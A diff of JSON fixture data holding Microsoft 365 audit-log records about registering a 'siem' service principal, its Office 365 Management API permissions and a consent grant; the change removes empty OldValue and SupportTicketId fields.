"ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -2463,30 +2403,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -2667,30 +2601,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -2871,30 +2799,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -3075,30 +2997,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -3279,30 +3195,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -3483,30 +3393,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -3685,8 +3589,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -3696,7 +3599,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -3867,8 +3769,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -3878,7 +3779,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -4049,19 +3949,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -4240,8 +4134,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -4251,7 +4144,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -4422,8 +4314,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -4433,7 +4324,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -4604,8 +4494,7 @@ }, "ModifiedProperties": { "Included_Updated_Properties": { - "NewValue": "RequiredResourceAccess", - "OldValue": "" + "NewValue": "RequiredResourceAccess" }, "RequiredResourceAccess": { "NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]", @@ -4615,7 +4504,6 @@ "ObjectId": "Not Available", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512", @@ -4786,19 +4674,13 @@ "version": "2" }, "ModifiedProperties": { - "Included_Updated_Properties": { - "NewValue": "", - "OldValue": "" - }, "TargetId_ServicePrincipalNames": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" } }, "ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23", @@ -4979,30 +4861,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -5183,30 +5059,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -5387,30 +5257,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -5591,30 +5455,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -5795,30 +5653,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -5999,30 +5851,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -6203,30 +6049,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -6407,30 +6247,24 @@ }, "ModifiedProperties": { "ServicePrincipal_AppId": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_DisplayName": { - "NewValue": "siem", - "OldValue": "" + "NewValue": "siem" }, "ServicePrincipal_Name": { - "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585", - "OldValue": "" + "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585" }, "ServicePrincipal_ObjectID": { - "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23", - "OldValue": "" + "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23" }, "TargetId_ServicePrincipalNames": { - "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", - "OldValue": "" + "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com" } }, "ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com", "RecordType": "8", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad", @@ -6610,34 +6444,24 @@ }, "ModifiedProperties": { "ConsentAction_Permissions": { - "NewValue": "[[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, 